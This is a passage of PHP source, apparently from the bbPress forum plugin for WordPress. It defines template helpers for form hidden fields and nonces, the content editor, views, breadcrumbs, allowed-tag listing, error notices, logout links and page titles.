			wp_nonce_field( 'bbp-unfiltered-html-forum_new', '_bbp_unfiltered_html_forum', false );
		endif; ?>

		<?php wp_nonce_field( 'bbp-new-forum' );

	endif;
}

/**
 * Output the required hidden fields when creating/editing a topic
 *
 * @since 2.0.0 bbPress (r2753)
 */
function bbp_topic_form_fields() {

	if ( bbp_is_topic_edit() ) : ?>

		<input type="hidden" name="action"       id="bbp_post_action" value="bbp-edit-topic" />
		<input type="hidden" name="bbp_topic_id" id="bbp_topic_id"    value="<?php bbp_topic_id(); ?>" />

		<?php if ( current_user_can( 'unfiltered_html' ) ) :
			wp_nonce_field( 'bbp-unfiltered-html-topic_' . bbp_get_topic_id(), '_bbp_unfiltered_html_topic', false );
		endif; ?>

		<?php wp_nonce_field( 'bbp-edit-topic_' . bbp_get_topic_id() );

	else :

		if ( bbp_is_single_forum() ) : ?>

			<input type="hidden" name="bbp_forum_id" id="bbp_forum_id" value="<?php bbp_forum_id(); ?>" />

		<?php endif; ?>

		<input type="hidden" name="action" id="bbp_post_action" value="bbp-new-topic" />

		<?php if ( current_user_can( 'unfiltered_html' ) ) :
			wp_nonce_field( 'bbp-unfiltered-html-topic_new', '_bbp_unfiltered_html_topic', false );
		endif; ?>

		<?php wp_nonce_field( 'bbp-new-topic' );

	endif;
}

/**
 * Output the required hidden fields when creating/editing a reply
 *
 * @since 2.0.0 bbPress (r2753)
 */
function bbp_reply_form_fields() {

	if ( bbp_is_reply_edit() ) : ?>

		<input type="hidden" name="bbp_reply_id"    id="bbp_reply_id"    value="<?php bbp_reply_id(); ?>" />
		<input type="hidden" name="action"          id="bbp_post_action" value="bbp-edit-reply" />

		<?php if ( current_user_can( 'unfiltered_html' ) ) :
			wp_nonce_field( 'bbp-unfiltered-html-reply_' . bbp_get_reply_id(), '_bbp_unfiltered_html_reply', false );
		endif; ?>

		<?php wp_nonce_field( 'bbp-edit-reply_' . bbp_get_reply_id() );

	else : ?>

		<input type="hidden" name="bbp_topic_id"    id="bbp_topic_id"    value="<?php bbp_topic_id(); ?>" />
		<input type="hidden" name="bbp_reply_to"    id="bbp_reply_to"    value="<?php bbp_form_reply_to(); ?>" />
		<input type="hidden" name="action"          id="bbp_post_action" value="bbp-new-reply" />

		<?php if ( current_user_can( 'unfiltered_html' ) ) :
			wp_nonce_field( 'bbp-unfiltered-html-reply_' . bbp_get_topic_id(), '_bbp_unfiltered_html_reply', false );
		endif; ?>

		<?php wp_nonce_field( 'bbp-new-reply' );

		// Show redirect field if not viewing a specific topic
		if ( bbp_is_query_name( 'bbp_single_topic' ) ) :
			$redirect_to = apply_filters( 'bbp_reply_form_redirect_to', get_permalink() );
			bbp_redirect_to_field( $redirect_to );
		endif;
	endif;
}

/**
 * Output the required hidden fields when editing a user
 *
 * @since 2.0.0 bbPress (r2690)
 */
function bbp_edit_user_form_fields() {
?>

	<input type="hidden" name="action"  id="bbp_post_action" value="bbp-update-user" />
	<input type="hidden" name="user_id" id="user_id"         value="<?php bbp_displayed_user_id(); ?>" />

	<?php wp_nonce_field( 'update-user_' . bbp_get_displayed_user_id() );
}

/**
 * Merge topic form fields
 *
 * Output the required hidden fields when merging a topic
 *
 * @since 2.0.0 bbPress (r2756)
 */
function bbp_merge_topic_form_fields() {
?>

	<input type="hidden" name="action"       id="bbp_post_action" value="bbp-merge-topic" />
	<input type="hidden" name="bbp_topic_id" id="bbp_topic_id"    value="<?php bbp_topic_id(); ?>" />

	<?php wp_nonce_field( 'bbp-merge-topic_' . bbp_get_topic_id() );
}

/**
 * Split topic form fields
 *
 * Output the required hidden fields when splitting a topic
 *
 * @since 2.0.0 bbPress (r2756)
 */
function bbp_split_topic_form_fields() {
?>

	<input type="hidden" name="action"       id="bbp_post_action" value="bbp-split-topic" />
	<input type="hidden" name="bbp_reply_id" id="bbp_reply_id"    value="<?php echo intval( $_GET['reply_id'] ); ?>" />

	<?php wp_nonce_field( 'bbp-split-topic_' . bbp_get_topic_id() );
}

/**
 * Move reply form fields
 *
 * Output the required hidden fields when moving a reply
 */
function bbp_move_reply_form_fields() {
?>

	<input type="hidden" name="action"       id="bbp_post_action" value="bbp-move-reply" />
	<input type="hidden" name="bbp_reply_id" id="bbp_reply_id"    value="<?php echo intval( $_GET['reply_id'] ); ?>" />

	<?php wp_nonce_field( 'bbp-move-reply_' . bbp_get_reply_id() );
}

/**
 * Output a textarea or TinyMCE if enabled
 *
 * @since 2.1.0 bbPress (r3586)
 *
 * @param array $args
 */
function bbp_the_content( $args = array() ) {
	echo bbp_get_the_content( $args );
}
	/**
	 * Return a textarea or TinyMCE if enabled
	 *
	 * @since 2.1.0 bbPress (r3586)
	 *
	 * @param array $args
	 *
	 * @return string HTML from output buffer
	 */
	function bbp_get_the_content( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'context'           => 'topic',
			'before'            => '<div class="bbp-the-content-wrapper">',
			'after'             => '</div>',
			'wpautop'           => true,
			'media_buttons'     => false,
			'textarea_rows'     => '12',
			'tabindex'          => false,
			'tabfocus_elements' => 'bbp_topic_title,bbp_topic_tags',
			'editor_class'      => 'bbp-the-content',
			'tinymce'           => false,
			'teeny'             => true,
			'quicktags'         => true,
			'dfw'               => false
		), 'get_the_content' );

		// If using tinymce, remove our escaping and trust tinymce
		if ( bbp_use_wp_editor() && ( false !== $r['tinymce'] ) ) {
			remove_filter( 'bbp_get_form_forum_content', 'esc_textarea' );
			remove_filter( 'bbp_get_form_topic_content', 'esc_textarea' );
			remove_filter( 'bbp_get_form_reply_content', 'esc_textarea' );
		}

		// Assume we are not editing
		$post_content = call_user_func( 'bbp_get_form_' . $r['context'] . '_content' );

		// Start an output buffor
		ob_start();

		// Output something before the editor
		if ( ! empty( $r['before'] ) ) {
			echo $r['before'];
		}

		// Use TinyMCE if available
		if ( bbp_use_wp_editor() ) :

			// Enable additional TinyMCE plugins before outputting the editor
			add_filter( 'tiny_mce_plugins',   'bbp_get_tiny_mce_plugins'   );
			add_filter( 'teeny_mce_plugins',  'bbp_get_tiny_mce_plugins'   );
			add_filter( 'teeny_mce_buttons',  'bbp_get_teeny_mce_buttons'  );
			add_filter( 'quicktags_settings', 'bbp_get_quicktags_settings' );

			// Output the editor
			wp_editor( $post_content, 'bbp_' . $r['context'] . '_content', array(
				'wpautop'           => $r['wpautop'],
				'media_buttons'     => $r['media_buttons'],
				'textarea_rows'     => $r['textarea_rows'],
				'tabindex'          => $r['tabindex'],
				'tabfocus_elements' => $r['tabfocus_elements'],
				'editor_class'      => $r['editor_class'],
				'tinymce'           => $r['tinymce'],
				'teeny'             => $r['teeny'],
				'quicktags'         => $r['quicktags'],
				'dfw'               => $r['dfw'],
			) );

			// Remove additional TinyMCE plugins after outputting the editor
			remove_filter( 'tiny_mce_plugins',   'bbp_get_tiny_mce_plugins'   );
			remove_filter( 'teeny_mce_plugins',  'bbp_get_tiny_mce_plugins'   );
			remove_filter( 'teeny_mce_buttons',  'bbp_get_teeny_mce_buttons'  );
			remove_filter( 'quicktags_settings', 'bbp_get_quicktags_settings' );

		/**
		 * Fallback to normal textarea.
		 *
		 * Note that we do not use esc_textarea() here to prevent double
		 * escaping the editable output, mucking up existing content.
		 */
		else : ?>

			<textarea id="bbp_<?php echo esc_attr( $r['context'] ); ?>_content" class="<?php echo esc_attr( $r['editor_class'] ); ?>" name="bbp_<?php echo esc_attr( $r['context'] ); ?>_content" cols="60" rows="<?php echo esc_attr( $r['textarea_rows'] ); ?>" <?php bbp_tab_index_attribute( $r['tabindex'] ); ?>><?php echo $post_content; ?></textarea>

		<?php endif;

		// Output something after the editor
		if ( ! empty( $r['after'] ) ) {
			echo $r['after'];
		}

		// Put the output into a usable variable
		$output = ob_get_clean();

		// Filter & return
		return apply_filters( 'bbp_get_the_content', $output, $args, $post_content );
	}

/**
 * Edit TinyMCE plugins to match core behaviour
 *
 * @since 2.3.0 bbPress (r4574)
 *
 * @param array $plugins
 * @see tiny_mce_plugins, teeny_mce_plugins
 * @return array
 */
function bbp_get_tiny_mce_plugins( $plugins = array() ) {

	// Unset fullscreen
	foreach ( $plugins as $key => $value ) {
		if ( 'fullscreen' === $value ) {
			unset( $plugins[ $key ] );
			break;
		}
	}

	// Add the tabfocus plugin
	$plugins[] = 'tabfocus';

	// Filter & return
	return apply_filters( 'bbp_get_tiny_mce_plugins', $plugins );
}

/**
 * Edit TeenyMCE buttons to match allowedtags
 *
 * @since 2.3.0 bbPress (r4605)
 *
 * @param array $buttons
 * @see teeny_mce_buttons
 * @return array
 */
function bbp_get_teeny_mce_buttons( $buttons = array() ) {

	// Remove some buttons from TeenyMCE
	$buttons = array_diff( $buttons, array(
		'underline',
		'justifyleft',
		'justifycenter',
		'justifyright'
	) );

	// Images
	array_push( $buttons, 'image' );

	// Filter & return
	return apply_filters( 'bbp_get_teeny_mce_buttons', $buttons );
}

/**
 * Edit TinyMCE quicktags buttons to match allowedtags
 *
 * @since 2.3.0 bbPress (r4606)
 *
 * @param array $settings
 * @see quicktags_settings
 * @return array Quicktags settings
 */
function bbp_get_quicktags_settings( $settings = array() ) {

	// Get buttons out of settings
	$buttons_array = explode( ',', $settings['buttons'] );

	// Diff the ones we don't want out
	$buttons = array_diff( $buttons_array, array(
		'ins',
		'more',
		'spell'
	) );

	// Put them back into a string in the $settings array
	$settings['buttons'] = implode( ',', $buttons );

	// Filter & return
	return apply_filters( 'bbp_get_quicktags_settings', $settings );
}

/** Views *********************************************************************/

/**
 * Output the view id
 *
 * @since 2.0.0 bbPress (r2789)
 *
 * @param string $view Optional. View id
 */
function bbp_view_id( $view = '' ) {
	echo bbp_get_view_id( $view );
}

	/**
	 * Get the view id
	 *
	 * Use view id if supplied, otherwise bbp_get_view_rewrite_id() query var.
	 *
	 * @since 2.0.0 bbPress (r2789)
	 *
	 * @param string $view Optional. View id.
	 * @return bool|string ID on success, false on failure
	 */
	function bbp_get_view_id( $view = '' ) {
		$bbp = bbpress();

		// User supplied string
		if ( ! empty( $view ) ) {
			$view_id = sanitize_key( $view );

		// Current view ID
		} elseif ( ! empty( $bbp->current_view_id ) ) {
			$view_id = $bbp->current_view_id;

		// Querying for view
		} else {
			$view_id = get_query_var( bbp_get_view_rewrite_id() );
		}

		// Filter & return
		return apply_filters( 'bbp_get_view_id', $view_id, $view );
	}

/**
 * Output the view name aka title
 *
 * @since 2.0.0 bbPress (r2789)
 *
 * @param string $view Optional. View id
 */
function bbp_view_title( $view = '' ) {
	echo bbp_get_view_title( $view );
}

	/**
	 * Get the view name aka title
	 *
	 * If a view id is supplied, that is used. Otherwise the bbp_view
	 * query var is checked for.
	 *
	 * @since 2.0.0 bbPress (r2789)
	 *
	 * @param string $view Optional. View id
	 * @return bool|string Title on success, false on failure
	 */
	function bbp_get_view_title( $view = '' ) {
		$bbp = bbpress();

		$view = bbp_get_view_id( $view );
		if ( empty( $view ) ) {
			return false;
		}

		return $bbp->views[ $view ]['title'];
	}

/**
 * Output the view url
 *
 * @since 2.0.0 bbPress (r2789)
 *
 * @param string $view Optional. View id
 */
function bbp_view_url( $view = false ) {
	echo esc_url( bbp_get_view_url( $view ) );
}
	/**
	 * Return the view url
	 *
	 * @since 2.0.0 bbPress (r2789)
	 *
	 * @param string $view Optional. View id
	 *                        used view id
	 * @return string View url (or home url if the view was not found)
	 */
	function bbp_get_view_url( $view = false ) {

		$view = bbp_get_view_id( $view );
		if ( empty( $view ) ) {
			return home_url();
		}

		// Pretty permalinks
		if ( bbp_use_pretty_urls() ) {

			// Run through home_url()
			$url = trailingslashit( bbp_get_root_url() . bbp_get_view_slug() ) . $view;
			$url = user_trailingslashit( $url );
			$url = home_url( $url );

		// Unpretty permalinks
		} else {
			$url = add_query_arg( array(
				bbp_get_view_rewrite_id() => $view
			), home_url( '/' ) );
		}

		// Filter & return
		return apply_filters( 'bbp_get_view_link', $url, $view );
	}

/** Query *********************************************************************/

/**
 * Check the passed parameter against the current _bbp_query_name
 *
 * @since 2.0.0 bbPress (r2980)
 *
 * @return bool True if match, false if not
 */
function bbp_is_query_name( $name = '' )  {
	return (bool) ( bbp_get_query_name() === $name );
}

/**
 * Get the '_bbp_query_name' setting
 *
 * @since 2.0.0 bbPress (r2695)
 *
 * @return string To return the query var value
 */
function bbp_get_query_name()  {
	return get_query_var( '_bbp_query_name' );
}

/**
 * Set the '_bbp_query_name' setting to $name
 *
 * @since 2.0.0 bbPress (r2692)
 *
 * @param string $name What to set the query var to
 */
function bbp_set_query_name( $name = '' )  {
	set_query_var( '_bbp_query_name', $name );
}

/**
 * Used to clear the '_bbp_query_name' setting
 *
 * @since 2.0.0 bbPress (r2692)
 *
 */
function bbp_reset_query_name() {
	bbp_set_query_name();
}

/** Breadcrumbs ***************************************************************/

/**
 * Output the page title as a breadcrumb
 *
 * @since 2.0.0 bbPress (r2589)
 *
 * @param string $sep Separator. Defaults to '&larr;'
 * @param bool $current_page Include the current item
 * @param bool $root Include the root page if one exists
 */
function bbp_title_breadcrumb( $args = array() ) {
	echo bbp_get_breadcrumb( $args );
}

/**
 * Output a breadcrumb
 *
 * @since 2.0.0 bbPress (r2589)
 *
 * @param string $sep Separator. Defaults to '&larr;'
 * @param bool $current_page Include the current item
 * @param bool $root Include the root page if one exists
 */
function bbp_breadcrumb( $args = array() ) {
	echo bbp_get_breadcrumb( $args );
}
	/**
	 * Return a breadcrumb ( forum -> topic -> reply )
	 *
	 * @since 2.0.0 bbPress (r2589)
	 *
	 * @param string $sep Separator. Defaults to '&larr;'
	 * @param bool $current_page Include the current item
	 * @param bool $root Include the root page if one exists
	 *
	 * @return string Breadcrumbs
	 */
	function bbp_get_breadcrumb( $args = array() ) {

		// Turn off breadcrumbs
		if ( apply_filters( 'bbp_no_breadcrumb', is_front_page() ) ) {
			return;
		}

		// Define variables
		$front_id         = $root_id                                 = 0;
		$ancestors        = $crumbs           = $tag_data            = array();
		$pre_root_text    = $pre_front_text   = $pre_current_text    = '';
		$pre_include_root = $pre_include_home = $pre_include_current = true;

		/** Home Text *********************************************************/

		// No custom home text
		if ( empty( $args['home_text'] ) ) {

			$front_id = get_option( 'page_on_front' );

			// Set home text to page title
			if ( ! empty( $front_id ) ) {
				$pre_front_text = get_the_title( $front_id );

			// Default to 'Home'
			} else {
				$pre_front_text = esc_html__( 'Home', 'bbpress' );
			}
		}

		/** Root Text *********************************************************/

		// No custom root text
		if ( empty( $args['root_text'] ) ) {
			$page = bbp_get_page_by_path( bbp_get_root_slug() );
			if ( ! empty( $page ) ) {
				$root_id = $page->ID;
			}
			$pre_root_text = bbp_get_forum_archive_title();
		}

		/** Includes **********************************************************/

		// Root slug is also the front page
		if ( ! empty( $front_id ) && ( $front_id === $root_id ) ) {
			$pre_include_root = false;
		}

		// Don't show root if viewing forum archive
		if ( bbp_is_forum_archive() ) {
			$pre_include_root = false;
		}

		// Don't show root if viewing page in place of forum archive
		if ( ! empty( $root_id ) && ( ( is_single() || is_page() ) && ( $root_id === get_the_ID() ) ) ) {
			$pre_include_root = false;
		}

		/** Current Text ******************************************************/

		// Search page
		if ( bbp_is_search() ) {
			$pre_current_text = bbp_get_search_title();

		// Forum archive
		} elseif ( bbp_is_forum_archive() ) {
			$pre_current_text = bbp_get_forum_archive_title();

		// Topic archive
		} elseif ( bbp_is_topic_archive() ) {
			$pre_current_text = bbp_get_topic_archive_title();

		// View
		} elseif ( bbp_is_single_view() ) {
			$pre_current_text = bbp_get_view_title();

		// Single Forum
		} elseif ( bbp_is_single_forum() ) {
			$pre_current_text = bbp_get_forum_title();

		// Single Topic
		} elseif ( bbp_is_single_topic() ) {
			$pre_current_text = bbp_get_topic_title();

		// Single Topic
		} elseif ( bbp_is_single_reply() ) {
			$pre_current_text = bbp_get_reply_title();

		// Topic Tag (or theme compat topic tag)
		} elseif ( bbp_is_topic_tag() || ( get_query_var( 'bbp_topic_tag' ) && ! bbp_is_topic_tag_edit() ) ) {

			// Always include the tag name
			$tag_data[] = bbp_get_topic_tag_name();

			// If capable, include a link to edit the tag
			if ( current_user_can( 'manage_topic_tags' ) ) {
				$tag_data[] = '<a href="' . esc_url( bbp_get_topic_tag_edit_link() ) . '" class="bbp-edit-topic-tag-link">' . esc_html__( '(Edit)', 'bbpress' ) . '</a>';
			}

			// Implode the results of the tag data
			$pre_current_text = sprintf( esc_html__( 'Topic Tag: %s', 'bbpress' ), implode( ' ', $tag_data ) );

		// Edit Topic Tag
		} elseif ( bbp_is_topic_tag_edit() ) {
			$pre_current_text = esc_html__( 'Edit', 'bbpress' );

		// Single
		} else {
			$pre_current_text = get_the_title();
		}

		/** Parse Args ********************************************************/

		// Parse args
		$r = bbp_parse_args( $args, array(

			// HTML
			'before'          => '<div class="bbp-breadcrumb"><p>',
			'after'           => '</p></div>',

			// Separator
			'sep'             => is_rtl() ? __( '&lsaquo;', 'bbpress' ) : __( '&rsaquo;', 'bbpress' ),
			'pad_sep'         => 1,
			'sep_before'      => '<span class="bbp-breadcrumb-sep">',
			'sep_after'       => '</span>',

			// Crumbs
			'crumb_before'    => '',
			'crumb_after'     => '',

			// Home
			'include_home'    => $pre_include_home,
			'home_text'       => $pre_front_text,

			// Forum root
			'include_root'    => $pre_include_root,
			'root_text'       => $pre_root_text,

			// Current
			'include_current' => $pre_include_current,
			'current_text'    => $pre_current_text,
			'current_before'  => '<span class="bbp-breadcrumb-current">',
			'current_after'   => '</span>',
		), 'get_breadcrumb' );

		/** Ancestors *********************************************************/

		// Get post ancestors
		if ( is_singular() || bbp_is_forum_edit() || bbp_is_topic_edit() || bbp_is_reply_edit() ) {
			$ancestors = array_reverse( (array) get_post_ancestors( get_the_ID() ) );
		}

		// Do we want to include a link to home?
		if ( ! empty( $r['include_home'] ) || empty( $r['home_text'] ) ) {
			$crumbs[] = '<a href="' . esc_url( home_url() ) . '" class="bbp-breadcrumb-home">' . $r['home_text'] . '</a>';
		}

		// Do we want to include a link to the forum root?
		if ( ! empty( $r['include_root'] ) || empty( $r['root_text'] ) ) {

			// Page exists at root slug path, so use its permalink
			$page = bbp_get_page_by_path( bbp_get_root_slug() );
			if ( ! empty( $page ) ) {
				$root_url = get_permalink( $page->ID );

			// Use the root slug
			} else {
				$root_url = get_post_type_archive_link( bbp_get_forum_post_type() );
			}

			// Add the breadcrumb
			$crumbs[] = '<a href="' . esc_url( $root_url ) . '" class="bbp-breadcrumb-root">' . $r['root_text'] . '</a>';
		}

		// Ancestors exist
		if ( ! empty( $ancestors ) ) {

			// Loop through parents
			foreach ( (array) $ancestors as $parent_id ) {

				// Parents
				$parent = get_post( $parent_id );

				// Skip parent if empty or error
				if ( empty( $parent ) || is_wp_error( $parent ) ) {
					continue;
				}

				// Switch through post_type to ensure correct filters are applied
				switch ( $parent->post_type ) {

					// Forum
					case bbp_get_forum_post_type() :
						$crumbs[] = '<a href="' . esc_url( bbp_get_forum_permalink( $parent->ID ) ) . '" class="bbp-breadcrumb-forum">' . bbp_get_forum_title( $parent->ID ) . '</a>';
						break;

					// Topic
					case bbp_get_topic_post_type() :
						$crumbs[] = '<a href="' . esc_url( bbp_get_topic_permalink( $parent->ID ) ) . '" class="bbp-breadcrumb-topic">' . bbp_get_topic_title( $parent->ID ) . '</a>';
						break;

					// Reply (Note: not in most themes)
					case bbp_get_reply_post_type() :
						$crumbs[] = '<a href="' . esc_url( bbp_get_reply_permalink( $parent->ID ) ) . '" class="bbp-breadcrumb-reply">' . bbp_get_reply_title( $parent->ID ) . '</a>';
						break;

					// WordPress Post/Page/Other
					default :
						$crumbs[] = '<a href="' . esc_url( get_permalink( $parent->ID ) ) . '" class="bbp-breadcrumb-item">' . get_the_title( $parent->ID ) . '</a>';
						break;
				}
			}

		// Edit topic tag
		} elseif ( bbp_is_topic_tag_edit() ) {
			$crumbs[] = '<a href="' . esc_url( get_term_link( bbp_get_topic_tag_id(), bbp_get_topic_tag_tax_id() ) ) . '" class="bbp-breadcrumb-topic-tag">' . sprintf( esc_html__( 'Topic Tag: %s', 'bbpress' ), bbp_get_topic_tag_name() ) . '</a>';

		// Search
		} elseif ( bbp_is_search() && bbp_get_search_terms() ) {
			$crumbs[] = '<a href="' . esc_url( bbp_get_search_url() ) . '" class="bbp-breadcrumb-search">' . esc_html__( 'Search', 'bbpress' ) . '</a>';
		}

		/** Current ***********************************************************/

		// Add current page to breadcrumb
		if ( ! empty( $r['include_current'] ) || empty( $r['current_text'] ) ) {
			$crumbs[] = $r['current_before'] . $r['current_text'] . $r['current_after'];
		}

		/** Separator *********************************************************/

		// Wrap the separator in before/after before padding and filter
		if ( ! empty( $r['sep'] ) ) {
			$sep = $r['sep_before'] . $r['sep'] . $r['sep_after'];
		} else {
			$sep = '';
		}

		// Pad the separator
		if ( ! empty( $r['pad_sep'] ) ) {
			if ( function_exists( 'mb_strlen' ) ) {
				$sep = str_pad( $sep, mb_strlen( $sep ) + ( (int) $r['pad_sep'] * 2 ), ' ', STR_PAD_BOTH );
			} else {
				$sep = str_pad( $sep, strlen( $sep ) + ( (int) $r['pad_sep'] * 2 ), ' ', STR_PAD_BOTH );
			}
		}

		/** Finish Up *********************************************************/

		// Filter the separator and breadcrumb
		$sep    = apply_filters( 'bbp_breadcrumb_separator', $sep    );
		$crumbs = apply_filters( 'bbp_breadcrumbs',          $crumbs );

		// Build the trail
		$trail  = ! empty( $crumbs ) ? ( $r['before'] . $r['crumb_before'] . implode( $sep . $r['crumb_after'] . $r['crumb_before'] , $crumbs ) . $r['crumb_after'] . $r['after'] ) : '';

		// Filter & return
		return apply_filters( 'bbp_get_breadcrumb', $trail, $crumbs, $r, $args );
	}

/** Topic Tags ***************************************************************/

/**
 * Output all of the allowed tags in HTML format with attributes.
 *
 * This is useful for displaying in the post area, which elements and
 * attributes are supported. As well as any plugins which want to display it.
 *
 * @since 2.0.0 bbPress (r2780)
 */
function bbp_allowed_tags() {
	echo bbp_get_allowed_tags();
}
	/**
	 * Display all of the allowed tags in HTML format with attributes.
	 *
	 * This is useful for displaying in the post area, which elements and
	 * attributes are supported. As well as any plugins which want to display it.
	 *
	 * @since 2.0.0 bbPress (r2780)
	 *
	 * @return string HTML allowed tags entity encoded.
	 */
	function bbp_get_allowed_tags() {

		$allowed = '';

		foreach ( (array) bbp_kses_allowed_tags() as $tag => $attributes ) {
			$allowed .= '<' . $tag;
			if ( 0 < count( $attributes ) ) {
				foreach ( array_keys( $attributes ) as $attribute ) {
					$allowed .= ' ' . $attribute . '=""';
				}
			}
			$allowed .= '> ';
		}

		// Filter & return
		return apply_filters( 'bbp_get_allowed_tags', htmlentities( $allowed ) );
	}

/** Errors & Messages *********************************************************/

/**
 * Display possible errors & messages inside a template file
 *
 * @since 2.0.0 bbPress (r2688)
 */
function bbp_template_notices() {

	// Bail if no notices or errors
	if ( ! bbp_has_errors() ) {
		return;
	}

	// Define local variable(s)
	$errors = $messages = array();

	// Get bbPress
	$bbp = bbpress();

	// Loop through notices
	foreach ( $bbp->errors->get_error_codes() as $code ) {

		// Get notice severity
		$severity = $bbp->errors->get_error_data( $code );

		// Loop through notices and separate errors from messages
		foreach ( $bbp->errors->get_error_messages( $code ) as $error ) {
			if ( 'message' === $severity ) {
				$messages[] = $error;
			} else {
				$errors[]   = $error;
			}
		}
	}

	// Display errors first...
	if ( ! empty( $errors ) ) : ?>

		<div class="bbp-template-notice error" role="alert" tabindex="-1">
			<ul>
				<li><?php echo implode( "</li>\n<li>", $errors ); ?></li>
			</ul>
		</div>

	<?php endif;

	// ...and messages last
	if ( ! empty( $messages ) ) : ?>

		<div class="bbp-template-notice">
			<ul>
				<li><?php echo implode( "</li>\n<li>", $messages ); ?></li>
			</ul>
		</div>

	<?php endif;
}

/** Login/logout/register/lost pass *******************************************/

/**
 * Output the logout link
 *
 * @since 2.0.0 bbPress (r2827)
 *
 * @param string $redirect_to Redirect to url
 */
function bbp_logout_link( $redirect_to = '' ) {
	echo bbp_get_logout_link( $redirect_to );
}
	/**
	 * Return the logout link
	 *
	 * @since 2.0.0 bbPress (r2827)
	 *
	 * @param string $redirect_to Redirect to url
	 *                        redirect to url
	 * @return string The logout link
	 */
	function bbp_get_logout_link( $redirect_to = '' ) {

		// Build the link
		$link = '<a href="' . wp_logout_url( $redirect_to ) . '" class="button logout-link">' . esc_html__( 'Log Out', 'bbpress' ) . '</a>';

		// Filter & return
		return apply_filters( 'bbp_get_logout_link', $link, $redirect_to );
	}

/** Title *********************************************************************/

/**
 * Custom page title for bbPress pages
 *
 * @since 2.0.0 bbPress (r2788)
 *
 * @param string $title Optional. The title (not used).
 * @param string $sep Optional, default is '&raquo;'. How to separate the
 *                     various items within the page title.
 * @param string $seplocation Optional. Direction to display title, 'right'.
 *                        separator and separator location
 * @return string The title
 */
function bbp_title( $title = '', $sep = '&raquo;', $seplocation = '' ) {

	// Title array
	$new_title = array();

	/** Archives **************************************************************/

	// Forum Archive
	if ( bbp_is_forum_archive() ) {
		$new_title['text'] = bbp_get_forum_archive_title();

	// Topic Archive
	} elseif ( bbp_is_topic_archive() ) {
		$new_title['text'] = bbp_get_topic_archive_title();

	/** Edit ******************************************************************/

	// Forum edit page
	} elseif ( bbp_is_forum_edit() ) {
		$new_title['text']   = bbp_get_forum_title();
		$new_title['format'] = esc_attr__( 'Forum Edit: %s', 'bbpress' );

	// Topic edit page
	} elseif ( bbp_is_topic_edit() ) {
		$new_title['text']   = bbp_get_topic_title();
		$new_title['format'] = esc_attr__( 'Topic Edit: %s', 'bbpress' );

	// Reply edit page
	} elseif ( bbp_is_reply_edit() ) {
		$new_title['text']   = bbp_get_reply_title();
		$new_title['format'] = esc_attr__( 'Reply Edit: %s', 'bbpress' );

	// Topic tag edit page
	} elseif ( bbp_is_topic_tag_edit() ) {
		$new_title['text']   = bbp_get_topic_tag_name();
		$new_title['format'] = esc_attr__( 'Topic Tag Edit: %s', 'bbpress' );

	/** Singles ***************************************************************/

	// Forum page
	} elseif ( bbp_is_single_forum() ) {
		$new_title['text']   = bbp_get_forum_title();
		$new_title['format'] = esc_attr__( 'Forum: %s', 'bbpress' );

	// Topic page
	} elseif ( bbp_is_single_topic() ) {
		$new_title['text']   = bbp_get_topic_title();
		$new_title['format'] = esc_attr__( 'Topic: %s', 'bbpress' );

	// Replies
	} elseif ( bbp_is_single_reply() ) {
		$new_title['text']   = bbp_get_reply_title();

	// Topic tag page
	} elseif ( bbp_is_topic_tag() || get_query_var( 'bbp_topic_tag' ) ) {
		$new_title['text']   = bbp_get_topic_tag_name();
		$new_title['format'] = esc_attr__( 'Topic Tag: %s', 'bbpress' );

	/** Users *****************************************************************/

	// Profile page
	} elseif ( bbp_is_single_user() ) {

		// Is user viewing their own profile?
		$is_user_home = bbp_is_user_home();

		// User topics created
		if ( bbp_is_single_user_topics() ) {
			if ( true === $is_user_home ) {
				$new_title['text'] = esc_attr__( 'Your Topics', 'bbpress' );
			} else {
				$new_title['text'] = get_userdata( bbp_get_user_id() )->display_name;
				/* translators: user's display name */
				$new_title['format'] = esc_attr__( "%s's Topics", 'bbpress' );
			}

		// User replies created
		} elseif ( bbp_is_single_user_replies() ) {
			if ( true === $is_user_home ) {
				$new_title['text'] = esc_attr__( 'Your Replies', 'bbpress' );
			} else {
				$new_title['text'] = get_userdata( bbp_get_user_id() )->display_name;
				/* translators: user's display name */
				$new_title['format'] = esc_attr__( "%s's Replies", 'bbpress' );
			}

		// User favorites
		} elseif ( bbp_is_favorites() ) {
			if ( true === $is_user_home ) {
				$new_title['text'] = esc_attr__( 'Your Favorites', 'bbpress' );
			} else {
				$new_title['text'] = get_userdata( bbp_get_user_id() )->display_name;
				/* translators: user's display name */
				$new_title['format'] = esc_attr__( "%s's Favorites", 'bbpress' );
			}

		// User subscriptions
		} elseif ( bbp_is_subscriptions() ) {
			if ( true === $is_user_home ) {
				$new_title['text'] = esc_attr__( 'Your Subscriptions', 'bbpress' );
			} else {
				$new_title['text'] = get_userdata( bbp_get_user_id() )->display_name;
				/* translators: user's display name */
				$new_title['format'] = esc_attr__( "%s's Subscriptions", 'bbpress' );
			}

		// User "home"
		} else {
			if ( true === $is_user_home ) {
				$new_title['text'] = esc_attr__( 'Your Profile', 'bbpress' );
			} else {
				$new_title['text'] = get_userdata( bbp_get_user_id() )->display_name;
				/* translators: user's display name */
				$new_title['format'] = esc_attr__( "%s's Profile", 'bbpress' );
			}
		}

	// Profile edit page
	} elseif ( bbp_is_single_user_edit() ) {

		// Current user
		if ( bbp_is_user_home_edit() ) {
			$new_title['text']   = esc_attr__( 'Edit Your Profile', 'bbpress' );

		// Other user
		} else {
			$new_title['text']   = get_userdata( bbp_get_user_id() )->display_name;
			$new_title['format'] = esc_attr__( "Edit %s's Profile", 'bbpress' );
		}

	/** Views *****************************************************************/

	// Views
	} elseif ( bbp_is_single_view() ) {
		$new_title['text']   = bbp_get_view_title();
		$new_title['format'] = esc_attr__( 'View: %s', 'bbpress' );

	/** Search ****************************************************************/

	// Search
	} elseif ( bbp_is_search() ) {
		$new_title['text'] = bbp_get_search_title();
	}

	// This filter is deprecated. Use 'bbp_before_title_parse_args' instead.
	$new_title = apply_filters( 'bbp_raw_title_array', $new_title );

	// Set title array defaults
	$new_title = bbp_parse_args( $new_title, array(
		'text'   => $title,
		'format' => '%s'
	), 'title' );

	// Get the formatted raw title
	$new_title = sprintf( $new_title['format'], $new_title['text'] );

	// Filter the raw title
	$new_title = apply_filters( 'bbp_raw_title', $new_title, $sep, $seplocation );

	// Compare new title with original title
	if ( $new_title === $title ) {
		return $title;
	}

	// Temporary separator, for accurate flipping, if necessary
	$t_sep  = '%WP_TITILE_SEP%';
	$prefix = '';

	if ( ! empty( $new_title ) ) {
		$prefix = " $sep ";
	}

	// sep on right, so reverse the order
	if ( 'right' === $seplocation ) {
